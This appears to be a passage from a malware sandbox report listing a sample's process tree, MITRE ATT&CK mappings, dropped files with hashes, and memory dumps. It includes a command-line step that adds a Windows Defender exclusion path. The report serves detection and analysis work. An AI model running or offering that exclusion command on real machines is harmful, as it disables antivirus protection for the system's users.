  2⤵
  PID:6080

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4172
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  PID:4632

C:\ProgramData\YCP3koSi.exe
"C:\ProgramData\YCP3koSi.exe"
1⤵
PID:1212

C:\ProgramData\MWcfEyFu\It5ksHUZ.exe
"C:\ProgramData\MWcfEyFu\It5ksHUZ.exe"
1⤵
PID:1744

C:\ProgramData\MWctOJzY\2hGBwqbx.exe
"C:\ProgramData\MWctOJzY\2hGBwqbx.exe" 1776
1⤵
PID:1252

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\TvJ2ma\XPSPLOG.dll
Size 4.6MB
SHA256 3c8574261a0048ca02f4186614661ce4189c688161571eb3d96421d1a6759f11
MD5 7b951a77e1d71086702bbb3d613727f9
SHA1 4134075d6891bdf08cffe9be653b76fa832ad9ac
SHA512 925575d5943ec5e4fbbbfe00fae70275f8f925f29f2e4a67833516964792095cbe184524bde75edf5572940fee481bfdf1f47afbeb7c784e63c8bdfddf61a35e
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyo:BMWKfU+BcUTHCCCfqCiUffno
TLSH
T162263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\TvJ2ma\image.png
Size 5.0MB
SHA256 226656a87ebcf47aa39004d023f1a824b966ddecba8d1195eb761623e59a54c4
MD5 2350c0a02ea10a25e0c4268d29f14caa
SHA1 77c29b55f83905462fb84a2aad74ef9162107c8d
SHA512 05ca57ac113cbe4bb96da854eb2528ac40cbed2a996cc10e571b00760f9acedb20cea46cf5a206b0be6130b6900ecb4e3ac484088f3b77a4b4bb1fc096bb3ad2
SSDEEP 98304:5qvO3/u21dcwj8esL9KK5MMrOalZpUC/IQdFOrMeifpHcmI0DoKoxGhUX:p/u21dGs2rOal3UpkiMT59IZVGhW
TLSH
T145363325135D318B6AD6C2DCDF91617AE6814BF0E880CDB837D92FB3527CEBA7088645
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\YdKAbz\XPSPLOG.dll
Size 4.6MB
SHA256 3a9fbfa99665c643cd9720497a3b673812204ec83ac19cbb264f30c41ad14fe2
MD5 636a18479ef734ff6228d05458939f5f
SHA1 78da4d38c223b6805e8bf1bf9c82948ea94ccd77
SHA512 7c032a7eb4d3e5e04b878cd064e0975fd9a251152c27659a2b01bbdf612861c48df79f645e9f68a6db18c1384fa250eba3878172b1929d5d68096478ac68c8d5
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyC:BMWKfU+BcUTHCCCfqCiUffnC
TLSH
T116263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

iDMzCv.exe

Path C:\Program Files (x86)\YdKAbz\iDMzCv.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\YdKAbz\image.png
Size 5.0MB
SHA256 c83b496947bb679730844c9fad7aee5930a93320375aac080d6e8807abe4d314
MD5 86b77f15f3bd267379fb3d42837b980d
SHA1 ecb4ba3faf6a0afc7976fb0a20a078ff13b1b230
SHA512 0f704d2d8ff709c2541353e80ecbfe5e85003dfd8c0300c585510bc58f020417c305b14477ce64d49aa438a02f2572162ff2bae480c6ad341a2427e7f8b09e61
SSDEEP 98304:EqvO3/u21dcwj8esL9KK5MMrOalZpUC/IQdFOrMeifpHcmI0DoKoxGhUX:g/u21dGs2rOal3UpkiMT59IZVGhW
TLSH
T16B363325135D318B6AD6C2DCDF91617AE6814BF0E880CDB837D92FB3527CEBA7088645
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\YdKAbz\thumbs.db
Size 358KB
SHA256 ef334dd7c2271d04572e7cd3a7d217b5d74c9f7926aafc10ee7e8e9453d69ac3
MD5 8da389e48a8c7f8115a1cd87cf8c02fb
SHA1 1633eaab0309a8a63035cb7be234cca33f417117
SHA512 427bbddd8f37d076e9c8ef9e29f9befa7bf72ca90be2c5d6656603cfc7c4e5372f5f4d5fc2bc59b473c524d531d9c79b57807d4f4838f68966bfa092e369bfe0
SSDEEP 6144:aiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:F8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T12D74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

It5ksHUZ.dat

Path C:\ProgramData\MWcfEyFu\It5ksHUZ.dat
Size 56KB
SHA256 b846d260830b1ccedb905d64caa8a1724ad36d043f420a6d57ec17693d33186b
MD5 91785284bd72d837400fb56d7520a06a
SHA1 a0ff54703d8d398f732aa4ac6a539fbb369660c1
SHA512 93272065cef2ea4f6da1035f0dca92a1b30ea2849da02d87df01e92735a820c70256128ca06bd66a5e6c4f30524ef8e6e4858cbd63d02ea1b4d0ae23b0b42247
SSDEEP 1536:LA5UOqaSzVJk7yHWGLvQL2NjQhzehEZSVsKJYX:LsUL1PSkbvG2pkze2GYX
TLSH
T16843020AD5F17B2ACA061776CD5CA50150EF4AFD88235CB38590F2764EE308F9D1B619
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

It5ksHUZ.exe

Path C:\ProgramData\MWcfEyFu\It5ksHUZ.exe
Size 475KB
SHA256 ca9fbc9a5f3c6d5f9f84e114d4f595b2f7c022c600c3ee9b241d9f9e23783715
MD5 8a56a96e9d5bd56d9afd42a7b3e7cc64
SHA1 8e08f7d9e70b1d59273899c206e492bd37a42694
SHA512 366f8dc9052023f5916546258a6866d6892a7e7824b56dfc8e38d2fb55a82a673dadd22c29990922837ec8c4d5f03fdc43328d8fe3bf74ecfb47327197e47c11
SSDEEP 12288:gNrhTLpMP+R+QDCfA832AtBYmz6af0F7Z1QVjSOsJ/2:gthTiP+ffCfB5Lf0F7Z1EDsV2
TLSH
T1E5A42322B76BD826EB0E083542A5DF7D497ABD02F889834301B97F5F7D363905D1DA09
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

It5ksHUZ.png

Path C:\ProgramData\MWcfEyFu\It5ksHUZ.png
Size 167KB
SHA256 613ad372d32f79840e013d9ecb663e0c00b5804d44354d34c6d00bb66459824d
MD5 7bc5365f9c8c78bed9fb8f01e2590755
SHA1 79c97819698146eee17242b64e0c93eb6918f090
SHA512 fdce54779bf97c9057ac7429e957d75821123662cc8b63c495749eccc9410a781a97a7f3ae2e677309814ab73e28652e3566973f4d0886c7e470e5eb9206b76f
SSDEEP 3072:cxvH+eTJ02Y6X2jdKEKRoHUMaDQptDljwIjDdj7YoILts74x0BI+1pB:8H+KKo4dNK2d2kdXYon74mBV1X
TLSH
T15FF3120CD00236B72EE84895B2AB3D5494DCC4A51E22974E790B3B9F5C933E949A7F4F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2hGBwqbx.exe

Path C:\ProgramData\MWctOJzY\2hGBwqbx.exe
Size 663KB
SHA256 60b8d9931f91b294d2e98d89eefbd4dd5aebd1e92af224f8e1768e86c3598d20
MD5 be47b5f43546d3ba69508263bc5d9e8b
SHA1 7e623c253e43f23e154fecbef864ade53e81722d
SHA512 ad8d41d12e8d834d65671f6b556c614260f9a7c086f698bffc34321eee7e2ba7b9682575afe54cda45fc2856807545325e867c0a02803bc262b2f6e5ea7a619a
SSDEEP 12288:hHDFGZnF/eud8ic+Y3ngyujLF/nWRZ8iR4+y3dnpkoBLR0eo2/k5bx9LhlOFqgbk:hpYF/e5icRQjV3pRR2AobllL
TLSH
T187E423C99C65B095C0A009FABC118D2BE50E5174209EFA34C7629BAA7FF93F11EF650D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

YCP3koSi.exe

Path C:\ProgramData\YCP3koSi.exe
Size 2.8MB
SHA256 83b78b050bf29574132c202bbe8e3303ae5962b8cabdf054b1928b846854eddd
MD5 cb5ced9cfdae5985640789a631628c5a
SHA1 b57ec79dbb0296b8427d6543c2a781c276026ce2
SHA512 9171170cbe00e9dab76aa7dd3cf197511c806e7e807589821e3f550432828e8871dfc1cc53a178780e8f6c56c59854bc1569af810d00bfc5031d4d44a4315f11
SSDEEP 49152:ZMxc9EYuffdhu5OviynjUzXPIGEvVcV0Sxx/O/ndIC4nv4ajQQVWmDfvKEs+TpR:igu9hviynj8Ip+nxVEenv4iQQVkED
TLSH
T1DFD523B49ECB11EADEC10974A703DBE73AB5199248D68C347AC13805B173FB7216E52B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 1KB
SHA256 e442aad819f10b48db6128311b1d50640e6829cbc469c4b8aab9f3493caa69a1
MD5 fdfd57863f2c01e774544a02ee56b3d7
SHA1 8656b62de6f999287d6149f5f35ec137e928cd3f
SHA512 d26e7849fd5d74007297903ae818756ef2d29dc1a942da3f354b563ded6a25356b43ed6823c4f3cab51c6c232216c74a3f9a98d1e20ab9946485afbf6a791668
TLSH
T15E21C6AB4D7219E0FF819E4B22C6D9362DE5B6D01CAC514D523994D22A107E43F3AE0B
MD5 SHA1 SHA512 TLSH

Submit Download

B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
Size 1KB
SHA256 aba5082118b3d49f5a18e306eda675e4685dcb9bb5e57381f7e38d36164a9dfa
MD5 40a66985f1f36ff212982f1a99c75d65
SHA1 b8a7a78703da29032d4bba8fa40f93bc5d56b7b2
SHA512 06c5c9e928dedd915ad220c7dec3745b1e896c5b35db1b833b92762c49db1d0a24ce2cb26b60d099acddd0147b0946f4cafa7a877377e9c20b785ffb3d8e63d7
TLSH
T19D2194878A7E2057F361CE4A14C46E336CE0A9D195D8040AB00BC2FA24103F2AB4A82B
MD5 SHA1 SHA512 TLSH

Submit Download

D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD
Size 1KB
SHA256 89f5d7cd98f87fed0560050226d4b8b6337178408823758210038d2aed66bba8
MD5 7a9c04ad9e75e6b9c75475fbfcd86050
SHA1 57857e7f4382aed8288cb1701e8d1058a773bb21
SHA512 cc387b60440e665de2df474772c94610ec21db856b147f996a40513a513beb4ed8e615b3de1e641b3ac71bd1c523220125a10b8c5c5aec7b641708ae523f92f1
TLSH
T1F821E397481C29413B40DCBA4CAAC6B32CA9E8CA6FD4F5213032A0A8DC183D39F0C8D9
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 508B
SHA256 4d3a4803a0dded4636622295f4e7bb5bdd4573f3dc2d5031f973c7b54d2bdc55
MD5 9c3904e6a80ff5ff209b0cb628f4a326
SHA1 766e81f4f67e47f16802b2cf3184a7f6de039465
SHA512 8a904e375a8103ba234eba9daeea588af3858a1194d30fb8e7c4d9d824363512e2aef49318bbede03047989dcc8e59582ce0e7971a12b22833807f3933ee9f6d
TLSH
T1D3F05C1CD9BD413EF632CB3A56D83461957BF7453009096133E48B49E94AE063C4563D
MD5 SHA1 SHA512 TLSH

Submit Download

B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240
Size 510B
SHA256 2c8707433b46ad6b2a1ccb5f08285fde40fe0cbec95c7c8ae562556f92eceea8
MD5 c304c00937e46339df765903b9d1ff32
SHA1 41cb5edd2c729ccbd3f12765c0be8960d88e1831
SHA512 dd8cc2d5f84b222e305948b4460b9a28096996a7aa02d7c34a3cd822ae1d5b0266b62fe1d2378233d251a8ec0379c111b85b867675c40233239523a673f6c17b
TLSH
T16EF0541C05ACA655F137C67615D527F5D95BF92324045AFE09A603145B15B001CD157D
MD5 SHA1 SHA512 TLSH

Submit Download

D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D077F3BA01F0F2293C650040B1B80D25_316FB5D99935E27840887D26EA90D4BD
Size 540B
SHA256 7c2940af1abc2bcacf075de4b59d297a45256df7e1a1b75eb22708a8340d84b8
MD5 2a4112ab0a9aede630f6246350d3e2fb
SHA1 a0801e63ce331379d48e4fa359dbd1b0b1990ba1
SHA512 3e12123f0154703b9837b8467c634883374b329da30455cf8a1b16ec43f0e80faeb5704c32b0072cfabfff978754d50f65adca358b9caa78bb0abc7baea0c4c3
TLSH
T120F09E38647D804DF0F3EA74ABC5A2714965FA04640585BE0EE64319BF55F016CE1B2E
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3081ee23106fa5ff8836945bf85bd019d909560532e98b72158607b712aae930
MD5 af9c19d27bcdc504a3bfb523f3fc44b4
SHA1 f33e23ca3e0a6919feebc0e01be179214e1abffa
SHA512 fd59f33741ae6a1b0f587a5aec67d775318c15cacea9d2ffb71087ac3354d28008a87991b32ab38b42ab04b0b876124d3705f1ef1de0f571230b8261f53b15b0
TLSH
T1CD216833B3DD8624C89A413A10CDAC5036B6C7DB40DECFAB7B84E659A42F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_jhplo4qu.scp.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jhplo4qu.scp.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

CnEEU3.exe

Path C:\Users\Public\8BluI5\CnEEU3.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\8BluI5\UxEnhance64.dll
Size 3.1MB
SHA256 cfab4faf56788b5ad7190077195908c91b780ba67f3beced25cfc1c41b3394a5
MD5 ccb302ec79e6669cd9c8f5ef19297d58
SHA1 82049d6787852a85b5e38f1f43a6cb3ecd2ff137
SHA512 8a6b4536b202e255d7c157189259ef167978f7690dc37472ca0a5c242671c67b2482470955fe92f1541e5620be9d7ad264096d9fde12ee2f699e7d4a9ef667cc
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+C:P9m29xx3Tiqt06ox6+z2rNNrKoC
TLSH
T14CE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\8BluI5\adoresd.dat
Size 4.7MB
SHA256 c61a3dc49fdc61385ceb0eed809e7ef3741982a1dc72b1fdd37acb38dba525d9
MD5 f21ba6fbcafbfce8948f7b6b6c6118cc
SHA1 b46cafe3a36b1e0b58b732cefcc763424f2612b3
SHA512 4598694f823494b7ae3843ea152b2efdea5b4f9acd7bba890ff9b5788e28c0308a2dbd76acb17cedb8849e28eee1cae30e6a613e0cb0788c6d0916a11659d297
SSDEEP 98304:Tmu1SwODpRGIRdXEMZYe6rFLoTTpMk6ZGvQv0Ss2i+XZXea1v5WZd8uCp:6u1SwOflfZPF6Ma0bsoa5+qd
TLSH
T1173633368AE6F5C7E35B2A0AF36888DD12B0B7AD6E9D75C24AF070155DB30CE9015BC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\8BluI5\msadox.tb
Size 8KB
SHA256 c769a38353ac67936820211eea40745011591de4783e8bc28da0fe449c5a1664
MD5 8ab61c2df7c9e515636bba923b5fbf5b
SHA1 bd06b16dd3ad91a1052f380707e4789030e1045b
SHA512 80953c7df59eef1991d497b293a8e33db40cdfa891e3a34f7f17eb746ef10346b0506ccb7dfcc40ad65371ebf38a5daddb481d76fc686747f01d1f79194815dc
SSDEEP 192:ZqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:ZsZqZOXQ3uqvR2Kfzp
TLSH
T14C029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

xxxx.ini

Path \??\c:\xxxx.ini
Size 2B
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
MD5 SHA1 SHA512

Submit Download

memory/1212-802-0x0000000000270000-0x0000000000731000-memory.dmp

Download

memory/1252-845-0x0000017404D40000-0x0000017404D60000-memory.dmp

Download

memory/1252-846-0x00007FF6A37A0000-0x00007FF6A3BCF000-memory.dmp

Download

memory/1296-602-0x000001D763A70000-0x000001D763A92000-memory.dmp

Download

memory/1296-608-0x000001D763940000-0x000001D76394A000-memory.dmp

Download

memory/1296-606-0x000001D77BF70000-0x000001D77C022000-memory.dmp

Download

memory/1296-605-0x000001D763AA0000-0x000001D763ABE000-memory.dmp

Download

memory/1744-833-0x0000000010000000-0x000000001002E000-memory.dmp

Download

memory/1744-813-0x0000000000400000-0x000000000053F000-memory.dmp

Download

memory/1744-837-0x0000000010000000-0x000000001002E000-memory.dmp

Download

memory/1744-831-0x0000000003780000-0x0000000003781000-memory.dmp

Download

memory/2872-733-0x0000000074800000-0x0000000074F4A000-memory.dmp

Download

memory/2872-732-0x0000000000CA0000-0x0000000000CA1000-memory.dmp

Download

memory/2872-746-0x0000000000CC0000-0x0000000000CC1000-memory.dmp

Download

memory/2872-755-0x0000000000CA0000-0x0000000000CA1000-memory.dmp

Download

memory/2872-747-0x00000000031F0000-0x00000000039F7000-memory.dmp

Download

memory/2872-737-0x00000000031F0000-0x00000000039F7000-memory.dmp

Download

memory/2960-768-0x00000000008E0000-0x00000000008E1000-memory.dmp

Download

memory/2960-760-0x00000000030E0000-0x00000000038E7000-memory.dmp

Download

memory/2960-759-0x0000000000EB0000-0x0000000000EB1000-memory.dmp

Download

memory/2960-756-0x00000000030E0000-0x00000000038E7000-memory.dmp

Download

memory/2960-751-0x0000000072C90000-0x00000000733DA000-memory.dmp

Download

memory/2960-750-0x00000000008E0000-0x00000000008E1000-memory.dmp

Download

memory/3464-563-0x000001923D080000-0x000001923D911000-memory.dmp

Download

memory/3464-567-0x000001923D080000-0x000001923D911000-memory.dmp

Download

memory/3464-559-0x000001923D9B0000-0x000001923DA3A000-memory.dmp

Download

memory/3464-558-0x000001923D9B0000-0x000001923DA3A000-memory.dmp

Download

memory/3464-556-0x000001923C680000-0x000001923C6CE000-memory.dmp

Download

memory/3464-550-0x000001923D080000-0x000001923D911000-memory.dmp

Download

memory/3464-546-0x000001923D080000-0x000001923D911000-memory.dmp

Download

memory/3464-530-0x00007FFCABB70000-0x00007FFCABB72000-memory.dmp

Download

memory/3464-545-0x000001923D080000-0x000001923D911000-memory.dmp

Download

memory/3464-543-0x000001923D080000-0x000001923D911000-memory.dmp

Download

memory/3464-560-0x000001923D9B0000-0x000001923DA3A000-memory.dmp

Download

memory/3464-544-0x000001923D080000-0x000001923D911000-memory.dmp

Download

memory/3464-539-0x000001923D080000-0x000001923D911000-memory.dmp

Download

memory/3464-531-0x00007FFC89450000-0x00007FFC8996E000-memory.dmp

Download

memory/3464-538-0x00007FFCABB80000-0x00007FFCABB82000-memory.dmp

Download

memory/3464-561-0x000001923D9B0000-0x000001923DA3A000-memory.dmp

Download

memory/3464-536-0x000001923D080000-0x000001923D911000-memory.dmp

Download

memory/3840-586-0x000001FBCD460000-0x000001FBCDCF1000-memory.dmp

Download

memory/3840-587-0x00007FFCABB70000-0x00007FFCABB72000-memory.dmp

Download

memory/3840-580-0x000001FBCD460000-0x000001FBCDCF1000-memory.dmp

Download

memory/3840-578-0x00007FFCABB80000-0x00007FFCABB82000-memory.dmp

Download

memory/3840-583-0x000001FBCD460000-0x000001FBCDCF1000-memory.dmp

Download

memory/3840-585-0x000001FBCD460000-0x000001FBCDCF1000-memory.dmp

Download

memory/3840-576-0x000001FBCD460000-0x000001FBCDCF1000-memory.dmp

Download

memory/3840-584-0x000001FBCD460000-0x000001FBCDCF1000-memory.dmp

Download

memory/3840-572-0x00007FFC89450000-0x00007FFC8996E000-memory.dmp

Download

memory/4976-525-0x00007FFCA30C0000-0x00007FFCA30D2000-memory.dmp

Download

memory/4976-0-0x00000000005C0000-0x00000000005CD000-memory.dmp

Download

memory/4976-524-0x00000000005C0000-0x00000000005CD000-memory.dmp

Download

memory/4976-504-0x00007FFCA30C0000-0x00007FFCA30D2000-memory.dmp

Download

memory/4976-2-0x00000000005D0000-0x00000000005DB000-memory.dmp

Download

memory/4976-1-0x00000000005C0000-0x00000000005CD000-memory.dmp

Download

memory/5760-715-0x0000000003660000-0x0000000003E67000-memory.dmp

Download

memory/5760-712-0x0000000010000000-0x0000000010061000-memory.dmp

Download

memory/5760-675-0x0000000001060000-0x0000000001061000-memory.dmp

Download

memory/5760-676-0x0000000074800000-0x0000000074F4A000-memory.dmp

Download

memory/5760-680-0x0000000003660000-0x0000000003E67000-memory.dmp

Download

memory/5760-682-0x0000000001080000-0x0000000001081000-memory.dmp

Download

memory/5760-683-0x0000000003660000-0x0000000003E67000-memory.dmp

Download

memory/5760-770-0x0000000003660000-0x0000000003E67000-memory.dmp

Download

memory/5760-765-0x0000000006A30000-0x0000000006A61000-memory.dmp

Download

memory/5760-687-0x0000000003660000-0x0000000003E67000-memory.dmp

Download

memory/5760-694-0x0000000001130000-0x0000000001144000-memory.dmp

Download

memory/5760-697-0x0000000003660000-0x0000000003E67000-memory.dmp

Download

memory/5760-703-0x0000000003660000-0x0000000003E67000-memory.dmp

Download

memory/5760-720-0x0000000003660000-0x0000000003E67000-memory.dmp

Download

memory/5760-730-0x0000000003660000-0x0000000003E67000-memory.dmp

Download

memory/6064-794-0x0000000007D00000-0x000000000837C000-memory.dmp

Download

memory/6064-795-0x00000000076B0000-0x00000000076CA000-memory.dmp

Download

memory/6064-798-0x0000000007720000-0x000000000772A000-memory.dmp

Download

memory/6064-799-0x0000000007920000-0x00000000079B6000-memory.dmp

Download

memory/6064-793-0x0000000007560000-0x0000000007603000-memory.dmp

Download

memory/6064-792-0x0000000007300000-0x0000000007320000-memory.dmp

Download

memory/6064-803-0x00000000078A0000-0x00000000078B1000-memory.dmp

Download

memory/6064-777-0x0000000005F20000-0x000000000627B000-memory.dmp

Download

memory/6064-789-0x0000000072D20000-0x0000000072D6C000-memory.dmp

Download

memory/6064-788-0x0000000007320000-0x0000000007356000-memory.dmp

Download

memory/6064-758-0x0000000002E40000-0x0000000002E76000-memory.dmp

Download

memory/6064-763-0x0000000005740000-0x0000000005D8A000-memory.dmp

Download

memory/6064-775-0x0000000005D90000-0x0000000005DF6000-memory.dmp

Download

memory/6064-772-0x0000000005570000-0x0000000005592000-memory.dmp

Download

memory/6064-781-0x00000000064D0000-0x000000000651C000-memory.dmp

Download

memory/6064-780-0x0000000006360000-0x000000000637E000-memory.dmp

Download

memory/6064-776-0x0000000005E00000-0x0000000005E66000-memory.dmp

Download